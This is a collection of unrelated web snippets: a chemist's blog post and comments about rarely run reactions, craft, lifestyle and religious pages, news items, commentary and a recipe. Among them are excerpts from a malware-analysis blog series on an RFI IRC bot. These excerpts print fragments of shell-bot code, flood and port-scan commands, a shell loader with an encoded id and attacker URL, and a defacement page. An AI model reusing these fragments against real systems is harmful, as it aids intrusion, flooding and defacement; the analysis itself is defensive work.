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I'm going to be working up an Arbuzov reaction this morning, which is an odd thing for me to say. That's because to the best of my recollection, which is pretty good, I've only run any of those during one period in my lab career. That was back in grad school, along about 1985, I'd say. I hope this one proves more useful than that one did – I was trying to make some dimethyl diazomethylphosphonate, and the prep was a relentless barrage of No Fun. (The first part of the sequence was identical to this).
I keep a list in my head of songs that I've only heard one time (no, I don't appear to be normal, thanks for asking), and perhaps it's time for me to assemble a list of reactions that I've only run once. That's a tougher one, because if a reaction fails, you may well run the thing again. Still, I've only done one hydrogenation at 2000 psi with rhodium on alumina (July 3, 1984, and it looked like used lawnmower oil afterwards, I should add), and I've only used samarium iodide one time (and it didn't work). But for a longer list I might have to settle for some things that I ran for a brief period and never have since.
The Claisen rearrangement would fall into that class, for sure. A feature of my early grad school work, I've never had the need to run one since. I can't think of the reaction without smelling ethyl vinyl ether in my memory, which is not a feature, in case you're wondering. I did a lot of carbohydrate reactions back then that I haven't had the need to return to, either – Ferrier rearrangements being just one of them. And, like many other chemists, I had a brief photochemistry period, in my case during my post-doc, and have never run one of those again, either. Others that enjoyed their day in the sun and have never been seen again in my hood are the Prins reaction, nitrone cycloaddition (not since I was an undergrad in 1983), Lindlar hydrogenation, and the Henry reaction.
The thing is, any of these could make a comeback at any time. They're still all perfectly reasonable reactions, and depending on what comes out of the next high-throughput screen or literature search, I might be setting one up next week. You never know. But there are some reactions that I think I've said goodbye to forever. In some cases, that's because better alternatives are now available – I mentioned here that I haven't used PCC for oxidations in years, and I think that one's been pretty much superseded.
Others are history because I either very much doubt I'll have the need for them, or because I just flat out Don' Wanna. For example, I made Dess-Martin periodinane three times on a hundred-gram scale, during a period in the early 1990s when it wasn't commercially available, and I plan, with any luck, never to do that again. The prep has been improved since those days, but that explosive intermediate was never something I enjoyed seeing. I don't think I'll be synthesizing fluorosulfonic acid starting from hydrofluoric acid any time soon, either. I did that one as an undergrad, too, if you can believe that – this guy must have had confidence in me, which I'm not at all sure was warranted by the evidence at hand. Nor do I foresee any need to make Fremy's Salt from scratch again. (You can see someone else do it here, though – the internet amazes me sometimes). And if I never do another reaction that requires half a mole of phosgene, that'll be fine with me, too.
Derek Lowe's commentary on drug discovery and the pharma industry. An editorially independent blog from the publishers of Science Translational Medicine. All content is Derek's own, and he does not in any way speak for his employer.
Life in the Drug Labs
One Time Only. Or Maybe Just a Few.
I'm going to be working up an Arbuzov reaction this morning, which is an odd thing for me to say. That's because to the best of my recollection, which is pretty good, I've only run any of those during one period in my lab career. That was back in grad school, along about 1985, I'd say. I hope this one proves more useful than that one did – I was trying to make some dimethyl diazomethylphosphonate, and the prep was a relentless barrage of No Fun. (The first part of the sequence was identical to this).
9 comments on "One Time Only. Or Maybe Just a Few."
I clearly remember asking my adviser "when am I ever going to run an Arbuzov?" when I was learning its mechanism. As I recall, the mechanism is rather fun and simple, which must be why it is taught to entering grad students.
OK Derek, I'll bite: what's on your list of songs that you've only heard one time? Those of us with similar abnormalities want to know!
Funny thing the Arbusov provokes this post. I just ran one last night. Granted I run these fairly regularly in my project right now. And they are proving to be a real nuisance on the way to finishing my thesis. The reaction is great for giving the phosphonate…but it's also great for giving the alkyphosphonate of whatever alkyl phosphite you use. I think in most cases it must not be an issue but for me my dibromide makes the bisphosphonate which is just about the same polarity as that blasted side product. While I can get what should be enough separation on TLC, the columns are a mess. The desired product is likely soluble in the other phosphonate produced and so the nightmare begins each time I run one of these. And to top it off, it usually is on a 10-20 g scale.
Also, along the lines of the smell of ethyl vinyl ether, the phosphites certainly will be leaving a similar memory with me.
NDPeter, try (RO)2P(O)H as your phosphonate source. React with sodium metal (CARE) to get (RO)2P(O)Na then add your bromide. Usually a lower yield than the Arbusov, but the biproduct is NaBr so easily removed.
you are a bloody wanker for talking about simple chemistry like this, not much wonder this industry never comes up with anything.
if you use tri(isopropyl)phosphite, the rate of the side reaction with the isopropyl halide produced is slower. works well for primary halides anyway.
1) Real chemist #5, you are a moron
2) I also used SmI2 only once, and it did not work for me either. But since the deep blue solution in THF looks really cool, I still keep it under my hood to impress occsional visitors.
3) Reactions that I tried only once: Appel (did not work), Suzuki (oh yes, went perfectly).
Darjeeling, let's see. . .there's "The Dream Never Dies", by the Cooper Brothers. Heard that one the morning I took my SATs. And "I Predict" by Sparks – one time on a Little Rock radio station while I was in college. For some reason, I've also heard "Death or Glory" by the Clash only once, when I was half asleep with the radio on in my college dorm room. I heard "In a Mood" by Fabulon while driving late at night across New Jersey ten or twelve years ago.
I've got these written down somewhere; there are about thirty of them. On the other hand, I've heard "Hey Saint Peter" by Flash and the Pan exactly three times – on the night I graduated high school in 1979, once in my German post-doc lab in 1989, and (skipping 1999), once just this past summer, to my shock.
So many reactions, so little time…
Comments are closed.


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The saga continues. Or, perhaps, ends.
It starts (for our purposes) in 2013. Then continues in 2014. With a twist in 2015.
But then, in 2016, it goes back to where it started. Mr. Goolsby gets off on a "technicality".
Albeit one that's enshrined in the Bill of Rights: the Double Jeopardy Clause.

subset: commoncrawl


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Ramos Fizz #1
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A great source for pin stripes for 1/25 scale models with multi colors & sizes including .010"
Great modeling detail parts.
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High quality advanced detail parts
Great vintage DRAG RACING VIDEOS.
CHROME TECH USA Chrome Plating for resin & plastic model car parts.
GREG'S DECAL GRAPHICS Has some vintage drag racing decals.


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The Health and Retirement Study shows that 56% of Americans over 50 leave their jobs before being ready to retire. more...
December 5 , 1933 : Prohibition ended in the US. more...
Learn something new every day
More Info... by email
Since needlepoint involves going up and down through fabric, many embroiderers use a frame to keep the fabric tight. One popular style of needlepoint frame for small works is the hoop, which braces the material between two circles of wood. The inner circle of the frame can be bound with bias tape to keep the fabric more secure. The other popular frame, the scroll, rolls the fabric across a frame and works well for large designs. Some embroiderers find frames quite useful because the tension on the fabric keeps the stitches more even.
To support the fabric during embroidery, a needlepoint frame is often used to keep the fabric taut. There are two main styles of frames: the hoop and the scroll. Both come in a variety of sizes and can be mounted on a stand to free up both hands for stitches like decorative knots.
The hoop needlepoint frame consists of two loops of a light wood like balsa. The inner ring is solid, and the outer ring has a screw fastener. Once the fabric is on the solid piece, the outer piece goes around the edge and is tightened down until the material is pulled tight and firmly fixed. Generally, a hoop large enough for the whole design should be used. Moving the fabric is possible, but placing a part already embroidered in between the pieces of wood can flatten and mar the stitches.
When using a hoop frame, some embroiderers recommend binding the hoop with cotton tape or bias binding. Only the inner ring needs to be covered. This covering helps the frame grip the needlepoint fabric more tightly and prevent any accidental slippage.
The other popular style of needlepoint frame is the scroll style. With this, either end of the fabric to be embroidered is inserted into slits on dowel rods with the extra fabric rolled around the dowels. These rods are held in place by additional wooden braces, forming a frame. The dowels may be turned to expose more fabric. This rolling of the fabric causes less damage to the design than being crushed inside the hoop and works well for large pieces.
Using a frame is largely a matter of personal choice. Some embroiderers find frames cumbersome. The main advantage of a needlepoint frame is to keep the fabric smooth and taut. This tension produces a more even design, as the material does not shift as much with each individual stitch and the thread tension is then easier to control. Most needlepoint crafters who try using a frame are convinced by the uniformity of stitches produced.
Post 1
Actually, hoops are never used on needlepoint, only on embroidery or possibly counted cross stitch. To stitch needlepoint only frames or scroll frames are used.
One of our editors will review your suggestion and make changes if warranted. Note that depending on the number of suggestions we receive, this can take anywhere from a few hours to a few days. Thank you for helping to improve wiseGEEK!


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Jenn Krogh, First Place Networking Leader
Jill engaged the audience with her warm and energetic style. She is not only a gifted speaker, but a servant. Jill appealed to a wide variety of people - socially, economically and age wise. I have been asked to have her return to allow women to invite family and friends who missed out.
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I have known Jill Swanson for nearly a decade. She is a godly, energetic, and caring woman. People in our church body and in the broader Christian and non-Christian communities greatly love and highly respect her. In the church, Jill actively teaches and mentors women, helping them to see themselves biblically through the eyes of Christ. She also recently shared with our men on the topic of "How to Raise Daughters." Jill's family and marriage are also models of health and grace, testifying to the others the beauty and fragrance of Jesus Christ. Jill is a joy to know and I recommend her without reservation for any speaking engagements you may have relative to her areas of expertise.
Jennifer Jensen, Director Of Women's Ministries
Jill was alive with energy and was able to enrich and uplift the women who came to our Women's Ministry conference. She has been given the remarkable talent of taking her message and making it educational, fun and revelant to each person. Comment after comment I received was about how Jill's words "deeply affected" them, how they were "going to make a change at home" or "it felt like she was speaking directly to me." Jill is a joy to work with.


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I was so pleased with my productivity today, that I went out shopping for a break. I wrote 1,264 words this morning, e-mailed my chair about some stuff I needed to do, emptied the trash, and graded 5 of the short papers awaiting my red pen. So I decided that I would head over to the local Macy's to get a new battery in my watch, and maybe treat myself by buying some Origins Body Souffle (the BEST lotion I've ever tried), or trying on some jeans.
I left with 6 t-shirts and 3 pairs of pants.
In my defense, they were all really cheap to start with, and 25% off on top of that. They're all really basic - plain old crewneck tees, but I liked the shape, and my policy is that when I find a t-shirt I like, I buy it in as many colors as I can. So now I have new ones in black, white, dark pink, chocolate brown, aqua, and teal. (You can never have too many t-shirts, especially living where it's so hot much of time.) The pants are mocha linen wide-legs, and then stone and olive cropped twills. The mocha ones are slightly dressy, the others very casual (though I could teach in them in hot weather with a more formal top).
Of course, as soon as I bought them, I walked throughout the rest of the store, saw other items, and instantly started thinking, Should I have bought these? They're cheap, but does that mean they're crappy and I'll regret it? Isn't it better to buy one or two really good things rather than a bunch of junk? They're basics, but are they so basic that they're boring? I like to think I look classic, but do I look like a suburban matron? Blah blah blah. Perfectionism - it's not just for academic work! Whenever I buy anything, I start agonizing over whether it's the "right" purchase or not - "right" being something that will go with everything I already own, be appropriate in every situation, make me look the perfect combination of sexy and professional (not to mention thin), and, of course, be comfortable and not require ironing or dry-cleaning. Yeah. Unrealistic much? Well, if I change my mind, I can always take them back.
PS - I forgot to add that I have been seized with the desire to dye my hair red. It's kind of streaky caramel/brown at the moment (the caramel parts are fake, in case you were wondering), and I'd been thinking about going back to my natural dark brown, maybe with an auburn tint. But suddenly I really want to go RED. Maybe not quite Carrot Top red, but I'm kind of inspired by Shaun White, Olympic snowboarder, AKA the Tomato.


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Solar E-Power Cellular Phone Charger
FEATURES AND BENEFITS Recharge your cellular phone anywhere with the power of the sun Recharge your cellular phone anywhere with AA/AAA regular or rechargeable batteries. Recharge AA or AAA rechargeable batteries with the sun. Provides mobile and relibale back-up power for your electronic devices (digital cameras, CD players, MP3 players, PDAs, handheld vedio games, tao-way radios, and flashlights etc.) with rechargeable batteries. Uses superior quality solar cells from Siemens Ideal item for powering your cellular phone out in the field during camping, fishing, hunting. Packing: Each in a gift box (Celluar phone not included). SPECIFICATIONS Power at Full Sun 1.38 W Voltage at Full Sun 6.0 Volts DC Current by Battery 350 mA (Average) Output Voltage by Battery 4.8 Volts DC to 5.7 Volts DC Weight Without Battery 5.6 oz 0r 160 g Dimension (folded) 4.5"" x 2.6"" x 1.25"" (11.5x6.75x3.5cm)Supported Mobile PhonesNokia: 5120, 5125, 5160, 5165, 5180, 5190, 6120, 5162, 6161, 6190, 7160, 8260, 8290, 8860, 8890, 3390, 6110, 6150, 3210, 8210, 8250, 8850, 3310Motorola: STAR-TEC, 328, 338, V3688, V3688+, 998, 3160, 3180, 2188, V8088, L2000, LF2000, 97389, L7089, CD920, CD928, 988Ericsson: T28Samsung: SGH-500, SGH-800, A100
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Saturday, 23 November 2013
A Whole Lot of Love - 333/365
The twins absolutely idolise their big brother Ben and he adores them. I love listening to his conversations with them especially when he doesn't realise I am. I heard him this morning telling them, "I'm going to preschool, I know you will miss me babies, but you and Mummy always come to collect me and we go home in our red car together. I love you Zachary, I love you Zoey". It was a definite aww moment.
Posted by Mummy's Space at 00:21
Labels: 365 Project, big brother, brothers, photography, sister, twins
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Jade Chantel
About The Teacher
Jade is an international yoga teacher by trade, having taken part in an in-depth yoga training on two occasions in Rishikesh, India- the birthplace of yoga. She attained her 200hr yoga teacher certification in 2013 and she spent a year teaching and practicing yoga, before returning to Rishikesh to complete her advanced 300hr yoga teacher certification. She has taught in various countries around the world including New Zealand, Canada, Indonesia, Tanzania and onboard of a 6 star luxury cruise ship.
Jade has also attained certificates in Nutrition, Anatomy, Massage and Complimentary Therapies. She is trained to lead group meditations, crystal sound bath meditations and Restorative and Healing yoga classes.


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A Daily Thought Provoker Quote
from Heart & Path Journal at HeartPathJournal.net
Online Publications of David J. Hall
"… and anyone who does not take his own cross and follow Me is not worthy of Me."
( Jesus, Matthew 10:38 )
Have you identified your cross and called it YOUR CROSS? What are you doing with it today?
In the above verse, what did Jesus NOT say?
He didn't say:
🔹"Rebuke your cross!"
🔹"Blame & curse those who gave you that cross!"
🔹"Find your own way with your own cross!"
He DID say, "Take up [YOUR CROSS] and follow ME…"
Its YOUR cross, so pick it up, set it squarely on your shoulders, and follow the footsteps of Jesus that have been pre-printed in the dirt by His Own faithful journey!
( David J. Hall / from article: "Have You Embraced YOUR Cross?" )
#PastorsTip #DTP


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The Piracy of America: Profiteering in the Public Domain
The Piracy of America: Profiteering in the Public Domain
Further, this anthology illustrates how corporate America, striking back at growing public environmentalism, seeks to sway public opinion through influencing the gathering and dissemination of scientific information and research. Business practices within the communications industry threaten the integrityof media reporting on environmental issues. As corporate America steps up its onslaught on the perceived environmentalist threat, we now witness the mobilization of pro-business political constituencies among religious groups and the public at large in support of the corporate agenda as it concerns the environment.
Some sample articles: "American Forests", "Cash Register Rivers: Lost to Private Profit", "Science for Sale", "Corporate Welfare and the Environment", "Environmental Disease Clusters", "An Environmental Wedge: The 'Wise Use' Movement and the Insurgent Right Wing".
Challenging whether the pro-business perspective advocated by diverse religious groups accurately represents the trueposition of Christians, anthologist Scherff opens her collection with "The Science of Communion" by the Very Reverend James P arks Morton, elaborating the Christian concepts of stewardship and respect for all creation, and c


text: DwnldDude 1 Report post Posted July 13, 2017 Hmm. so i got it mostly working, however when it tries to move the alt window, the window it just disappears. I can see the alt window, the right size on top of my main window, then instead of popping over to the second monitor it just dies. Then it does the same with the second alt window. Quote Share this post Link to post Share on other sites


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Casper RFI crack bot – Part 9
So it looks like sh.txt is all about shell access, wow what a surprise! The next item is def.txt, there is not a whole lot in there beside the defacement message, so we are going to move on. The next item is a tar.gz, psy.tar.gz. Let's unpack it and look around. It's from a project...
Casper RFI crack bot – Part 8
We have one more to decode, $shell_data
$shell_data = "$visitcount = $HTTP_COOKIE_VARS["visits"];
if( $visitcount == "") {
$visitcount = 0;
$visitor = $_SERVER["REMOTE_ADDR"];
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target =...
Casper RFI crack bot – Part 7
At first I was thinking that these might be encrypted, but that did not turn out to be the case. The first one we found was...
Casper RFI crack bot – Part 6
We can do something fun with this,
$defacer = "def.txt";
less def.txt
<title>-- Hacked bY XXXXXXXX --</title>Off to Google we go, this won't give an exact number, but we are going to be able to get a count of the number of web servers this guy...
Casper RFI crack bot – Part 5
Some of the sh.txt script seems to be pretty old, calling milw0rm and darkc0de, both sites are no longer up and have not been for a while. There is also a few things worth looking in to here, the script mentions fx29shell.php. Which is a php shell that can be loaded onto the system. I can...
Casper RFI crack bot – Part 4
sh.txt This one also looks juicy! Another php, <?php $sh_id = "Q2FTcEVyX0thRUB5YWhPTy5jT20="; $sh_ver = "0.0 01.01.2010"; $sh_name = base64_decode($sh_id).$sh_ver; $sh_mainurl = "http://xxxxxx.ru/config/"; $html_start =...
Casper RFI crack bot – Part 3
iso.txt is looking promising for a peak.
# ShellBOT by: XXXXXXXXXXXX
# Greetz: XXXXXXXXXXXXXX
# Comandos:
# @oldpack <ip> <bytes> <tempo>;
# @udp <ip> <porta> <tempo>;
# @fullportscan...
Casper RFI crack bot – Part 2
There is more then one file in each rar that appears to be a copy of the bot. The differences are pretty minor.
-my @servers = ("irc.xxxx.org");
+my @servers = ("irc.xxxxxx.org","irc.xxxxxx.org");
@@ -3,7 +3,7 @@
# CASPER RFI CRACK Bot v1.1 ...
Casper RFI crack bot – Part 1
If you saw the ISC today (isc.sans.edu) there is a posting about a perl Unix bot making the rounds. http://isc.sans.edu/diary.html?storyid=9430 There is signatures around from emerging threats to detect the bot, if you need them. http://doc.emergingthreats.net/2011176 I have found a server...
Good blog on iPhone / iPad hacking
http://blog.iphone-dev.org/ I wish I could link to the first article. It talks about a patch out for non early iPhone and iPod touch users that leaves them with security holes, that they fixed and can be applied through Cydia! I really appreciate people that take their time to give back...


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About a year ago I posted my New Years Resolutions on this hither blog. A lot has happened since then. Blogossus achieved over 17,000 views (pretty nice for such a small blog), there were 62 new posts on the site, one person from Cuba read the site and several things came out of this place. I released Tears In Rain, a project I'd spent two years working on, on the 30th Anniversary of Blade Runner, I started posting chapters from my novella and novel, I wrote critique corners and essays on film and games, I started expanding the site's content and did lots of work. Lots of it.
I can honestly say that the popularity of Tears In Rain, the .PDF has been accessed about 20,000 times, is astounding. June 25th 2012 was when everything changed for me as a writer and I hope to provide you with more writing and hope to refine my style, grammar and quality over the next year.
Tonight I will be releasing Up, Down, Left, Right – Volume Four… partially. I have just deleted half of it, no lie, and am salvaging Section One to post up as 'Part One'. Part Two will be releasing in February of the New Year, I think, I'll talk about that tonight. Over four and a half years ago I began a little blog about video-games and since then a lot has changed. A lot.
I will be leaving home in September of the New Year and that is both terrifying and exciting as hell.
Let's look at my 2012 resolutions, and see how I fared.
- AAAA in my AS Levels.
I got AAAB. Not bad I guess. Could be a whole lot better really.
- Get a driving license, pass with flying colours for extra cookies.
I failed my theory the first time, passed by skin of my teeth the second. Still working towards my practical so NOPE!
- Write five book projects (Tears In Rain, Film Book 2#, Up Down Left Right Volume Four, Short Story Collection, Nanowrimo 2012)
Tears done, Killer Looks 1/7th done, Up, Down, Left, Right – Volume Four 1/3rd one, Short Story Collection nehh I did poetry instead, Nanowrimo I had to abandon. So, in all, looks like a failure.
- Not die becoz 21/12/2012 LOLOLOLOLOL.
Wow was I really this terribly unfunny?
- Get into film journalism, perhaps professionally.
That's been set up.
- Become a published writer.
Happened with my poetry.
- Write and get paid for it.
- Revive Critique Corners and make them stick around for the ENTIRE year.
Things happened.
- Read. Every. Single. Day. Starting January 1st.
All in all, in terms of my resolutions I give myself a 7/10. In terms of, well, terms – 8/10. It was a massive year for me and I hope 2013 will be a lot brighter for both me and you.
My 2013 New Years Resolutions:
- Start writing about film on the site that's invited me shush shush don't spoil!
- Write Killer Looks, finish Up, Down, Left, Right series, release Bad Poetry and finish Train and Trimalchio
- Get a driver's license.
- Go off to university and be happy and stuff.
- Learn self-discipline and start learning Italian.
- Be happy.
I think that's all of mine. I hope upon thee a happy new year full of joy, surprise and awesome.


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The San Diego Union-Tribune conducted a round of layoffs in all departments Thursday, the latest in a series of staff reductions the newspaper and its counterparts across the country have taken in recent years.
The move comes three days after Platinum Equity, a Beverly Hills private equity firm, completed its acquisition of the paper from its longtime owner, the Copley Press Inc.
A total of 192 positions will be eliminated, effective July 6, the company said in a statement. Senior managers told the affected employees Thursday in meetings organized by department. The company said employees will receive transition assistance and termination benefits.
The number of cuts in each department, including the newsroom, were not disclosed.
The 60-day notice is required under federal law for a company the size of the Union-Tribune when conducting more than 50 layoffs.
"These are tough times for the entire newspaper industry, and a time of transition for the Union-Tribune," said Drew Schlosberg, the company's director of community and public relations. "Any decision to reduce staff is difficult.
"We will be working diligently to make the transition for those affected as easy as possible. "
The company, which has had several rounds of buyouts and layoffs in recent years, will have about about 850 employees once the staff cuts become effective.
The Union-Tribune, like other large newspapers, has been hit by both declining print circulation as well as a decrease in advertising that has been accelerated by the recession.
Schlosberg said the paper has a late-week circulation (Thursday-Saturday) of just over 300,000 a day, with the daily paper estimated to reach more than 662,000 readers. Its Sunday circulation is 330,000, with a readership believed to be more than 890,000. The Union-Tribune's Web site, SignOnSanDiego, draws more than 3 million unique users each month.
The Union-Tribune won its fourth Pulitzer Prize this year, awarded to editorial cartoonist Steve Breen; and won the top award for general excellence for a large newspaper from the California Newspaper Publishers Association last year.


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Mark Muro has an interesting post on Brookings.com where he discusses some new data suggesting that US-China manufacturing cost convergence is happening, at least in some sectors.
Notes Muro:
A new paper just published in the Journal of Power Sources contains new information about the global advanced battery manufacturing industry derived some fresh reporting: the authors' face-to-face interviews with managers in battery manufacturing plants in China and the United States….According to Brodd and Helou's exhaustive drill down, U.S. wage costs are clearly higher than those in China, but the heavy automation of a current-practice Li-ion battery plants reduces the number of needed workers, and so reduces that gap. Meanwhile, while materials costs in the United States and China are identical, China's high energy and logistics prices essentially erase China's price advantage. On the energy front, Brodd and Helou's reporting concludes that a facility producing 350 million battery cells in China would have approximately $1.5 million higher electricity costs than one in the United States. Relatedly, they note that high energy prices and fragmentation in the Chinese logistics industry ensure that trucking costs in the country's two biggest export regions—the Yangtze River Delta region near Shanghai and the Pearl River Delta around Hong Kong—ranged from $2.50 to $3 a mile compared to $1.75 in the United States. These costs reflect China's profusion of local and provincial road fees as well as the country's rising trans-Pacific shipping and customs costs.
To his credit, Muro goes on to note that the study failed to take into account other factors that would tip the cost advantage calculation in the US' favor:
The upshot: The cost advantage of a Chinese Li-ion battery plant ranges from just 7 cents per unit to 25 cents per unit, compared to a U.S. site, depending on the production volume of the plant. And that leaves aside such other factors as increasing wage rates in China, quality deficits there, and the threat of unexpected supply chain disruptions, all of which would further argue for the cost superiority of a U.S. site.
Muro's conclusions are that this new data does not suggest that a full-blown manufacturing renaissance is near but that, at least in some sectors, the time may have come to reconsider the US-China cost dynamic. I agree with this position, and I know more than one executive with manufacturing capacity in China who has begun to draw up an exit plan. Interestingly, what the common element in these discussions about exiting China is risk. As I have written elsewhere, economic risk costs are those costs that are present but not yet accounted. For many companies, the cost of risk in China is getting too high. Add that reality to the narrowing gap in labor and other factors noted above, and it's safe to predict that the wave of East to West manufacturing will continue to evolve in the West's favor.
Read more: http://www.brookings.edu/blogs/the-avenue/posts/2013/06/03-cost-convergence-gap-china-us-manufacturing-muro?rssid=Blogs


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While recently considering how often the most self-righteous of blog trolls are (A) from Dog Patch, U.S.A., and (B) have such incredibly small hands, I also considered that one of the benefits of Secretary Mnuchin's recent testimony before the Senate Banking Committee was yet another opportunity for news outlets to post photographs that displayed, sitting over his right shoulder, his drop-dead hot ticket of a fiancee, English actress Louise Linton. That brightens up any dry discussion of matters having to do with more mundane figures. In the case of the Wapo's Damien Paletta's Wonkblog, the pic also featured, over Mnuchin's other shoulder, a spectator whose face bore an expression indicating that something flaming had lodged in his shorts for more than a short stay. Having an eye for detail has its side benefits.
On a substantive note, Mnuchin made clear to the senators who were grilling him, that the Trump administration is intent on rolling back the Barack-and-Barney fanned tidal wave of bank regulation that has been washing over banks big and small since 2008 and that has done so much to avoid the next recession by never permitting the economy to fully exit the last one. It has also prevented bank failures by preventing banks from making loans. One way the Trumpeters intend to accomplish this King Canute-like halting of the tide is by "exempting all banks with less than $10 billion in assets from rules under the 2010 Dodd-Frank financial overhaul law." We're not entirely clear on the extent of that exemption, but it sounds, in the abstract, like music to the ears of community banks throughout this great land we like to call "Mur'ca," so less-than-$10 billion bankers everywhere will be waiting for the details with baited breath.
Mnuchin also indicated that bigger banks would not be ignored in their fight against the evils of being regulated entities that are actually subject to---GASP---regulation. He "said he was expecting to recommend [changes to existing law that] would allow many regional banks to escape tighter regulatory scrutiny by raising the $50 billion asset threshold that automatically triggers tougher oversight. He didn't say, though, what threshold he might recommend." A quadrillion? A bazillion? We must await further details and, we hope, another opportunity to peruse the lovely Ms. Linton.
While Senators from both parties have previously paid lip service to the goal of easing the regulatory burden on small fry banks wherever located, that era of good feeling at the recent hearing could not outlast the war chants expectorated by Senator Spouting Bull Warren, who waxed incredulous that Secretary Mnucin might be backpedaling on his fearless leader's alleged previous indications that he favored the re-imposition on big banks of Glass-Steagall Act-like restrictions on the combination of commercial banking and investment banking activities. You all remember how both Democrats and Republicans voted to do away with such restrictions in the 1990s, an endeavor that had the full support of then-President Clinton. Wall Street does not want those limitations reenacted and Mnuchin is, if anything, a man of the street who, no matter what The Donald may or may not have said yesterday or the day-before-yesterday, is not going to concede anything to Warren on this point.
"We never came out and said we should separate banks from investment banks," Mnuchin said.
"This is just bizarre," Warren later responded.
Actually, Trump said he has been "considering" breaking up the big banks, which is not the same thing as separating commercial banking from investment banking. On the other hand, the Republican Party platform in 2016, on which the Orange Lord ran, did call for the reinstatement of Glass-Steagall prohibitions in this respect. Nevertheless, even if Trump had flat-out promised to reinstate Glass-Steagall at some point, he consistently pirouettes 180 degrees on so many issues at warp factor four. Therefore, how can Warren's professed amazement be anything other than an exercise in political theater?
The Democrats on the committee also criticized Mnuchin for talking only to bankers and not to consumer advocates. Mnuchin refused to confirm the names of any person with whom he has or has not met. He said he would do so only if the list was kept "confidential." Paletta did not report whether the members of the committee then broke out in belly laughs. Given the fact that the entire D.C. hive is composed of nothing but leaking sieves, there's little danger that Mnuchin will ever disclose the list of names. Our bet: he's talked to a few consumer advocacy groups, but did so while playing Spider Solitaire on his iPhone.
Regulatory relief appears to be coming. However, it's coming slowly and it's going to be a rocky road to the promised land. Just last week, major retailers managed to strip out of Jeb Hensaring's Financial Choice Act a repeal of the Durbin Amendment. Even though bank lobbyists insist that the battle is not over on that issue, you can see how something that was clearly a bought-and-paid-for price control law that harmed banks and helped big box retail outlets (and, of courser, had no favorable impact on consumers), once enacted, becomes as tough to eradicate as cockroaches. Expect more of this type of backing and filling in the months ahead. Also, expect more Mnuchin v. Warren public showboating in the process.


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Peach Raspberry Slump
Sometimes called a grunt, other times a slump, stewed summer fruit tucked beneath golden baked biscuits is a classic New England dessert.
Preheat the oven to 400 degrees.Advertisement
In a 9-inch pie pan, stir together the fruit, brown sugar, 2 tablespoons granulated sugar, the cornstarch, and cinnamon.
In a bowl, stir together the flour, 2 1/2 tablespoons granulated sugar, the baking powder, baking soda, and salt. With a fork, blend in the butter until the mixture resembles coarse crumbs.
In a small bowl, whisk together the yogurt, milk, and vanilla and stir into the flour mixture until just combined. Knead the dough lightly on a work surface and pat lightly until it is about 3/4 inch thick.
Drop the dough in 4 mounds over the fruit, sprinkle the remaining 1/2 teaspoon sugar over the dough, and bake in the middle of the oven until the biscuits are golden and cooked through, about 20 to 25 minutes.


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"The Orchestra was terrific tonight," commented concertgoers as they exited the Scherr Forum Theatre at Saturday evening's season opener. Beginning with the exciting "Slavonic Dance #2" by Dvorak and concluding with the hauntingly beautiful strains of "The Moldau" by Smetana, everything went perfectly under the baton of Maestro James Domine.
In between, there was an outstanding display of virtuosity by three young musicians who were this year's winners of the Music Teachers' Association of California (West San Fernando Valley Branch) Competition. 15 year old violinist Timothy Le performed Wieniawski's "Scherzo Tarantelle;" 16 year old pianist Bruce Tui played the 1st movement of Chopin's "Piano Concerto#1 in E minor;" and 17 year old pianist Wesley Tui played the 2nd movement of Rachmaninoff's Piano Concerto #2 in C minor. The audience responded with cheers and hearty applause. Ms. Anita Swearingen, Chairwoman of the MTAC Competition Committee, presented Maestro Domine with a donation to the SFVSO for providing Timothy, Bruce and Wesley with the opportunity to perform their winning pieces with the Orchestra.
The next composition, 12 year old Nathan Le's Symphony #1 in A minor (Crisis in Japan), left many in the audience awestruck that such a wonderful piece was the work of so young a boy. Applause rang out and, at the end of the concert, people hovered around him, offering congratulations and assuring him that he is destined to become a "big star." Nathan took all of this praise with great modesty (and was probably glad to go home where he could be out of the spotlight and return to just being a regular 12 year old kid).
It was a night of great music!


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Lots of happy mail in my mailbox the last months! I found myself some new penpals through Instagram & Interpals. (website looks not that good, and lots of males who search for female attention but if you use the search-option and look for snailmail, you find what you search for)
Here are some outgoing letters to Interpal-friends.
What a lovely surprise to find this handwriting in my mailbox again!! It made me smile :)
I think everyone experiences what Lisa did, not feeling like writing for a while. I often have it with my blog, not finding the inspiration or right mood..
But look what she sent me! A little adventure to discover everything she added to the letter!
Love the creative idea!
This card came all the way from India, where Mina had a wonderful time!! Another super surprise in my mailbox!
And mail from Sara, Lisbon. I like the stamps!
That's enough mail for now.
I wish you all a sunny weekend, i feel a first bbq and mojito coming up!


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Weather in Icmeler
Icmeler is a popular holiday resort on the south west coast of Turkey. The Aegean Sea and the Mediterranean Sea meet along Icmeler's coast, which offers a spectacular view and some of the best swimming conditions in Europe.
The best time to go to Icmeler is from May to October, which is peak season in Turkey. You can expect at least 11 hours of sunshine per day that increases to 14 in June and July.
The average temperature can reach up 35°C in the summer, which is perfect for lounging by the pool and enjoying a romantic stroll along the beach.
Surrounding hills and mountain regions help to control the climate and keep things warm and pleasant all year round. Warm sea breezes bring higher temperatures to the resort and the average sea temperature is a pleasant 25°C with lows of 16°C in winter.
If you don't mind cooler temperatures, the best time to visit Icmeler is between November and April. The weather is slightly cooler, but it's still very sunny and there are fewer crowds in the resort than the summer months.


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The annual trend fair, in its 13th year, is hosted by the Ministry of Culture, Sports and Tourism and run by the Korea Craft & Design Foundation. This year's event will take place from Thursday to Sunday at the Convention and Exhibition Center in southern Seoul.
The event, dedicated to the promotion and commercialization of local craft market, invites local and foreign buyers from 10 nations, offering business matching opportunities.
According to the organizers, the Craft Trend Fair 2018 will put together works of around 1,600 artisans from eight countries. More than 300 art galleries and craft businesses will also submit pieces from their collections.
Visitors can also get a preview of the Korean Pavilion of the upcoming Milano Design Week, which will be held in April. Art director Jung Ku-ho is to participate in the global design festival, showing his reinterpretation of traditional craft pieces with ink-and-wash painting technique. A sampler of the exhibition will be on display at the fair.
Various programs have been prepared as well, hoping to boost the local craft market. Through the Artist Discovery program, artists will have an opportunity to host a special exhibition at the participating art galleries.
On Friday, the International Craft Forum will be held at the same venue, discussing examples of how cities around the world have developed through crafts.
For more information, check the Craft Trend Fair 2018's official website at www.craftfair.kcdf.kr.
By Im Eun-byel (firstname.lastname@example.com)


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TransForce Drivers are Respected Professionals; Safe, Reliable, and Profitable.TransForce has been the employer of choice for thousands of professional commercial drivers over the past 20 years. Most TransForce Drivers choose full time local assignments and are home every day but we also welcome regional drivers and we have part time as well as full time career opportunities. You have options available at TransForce.
· TransForce Drivers receive competitive weekly pay and corporate benefits.
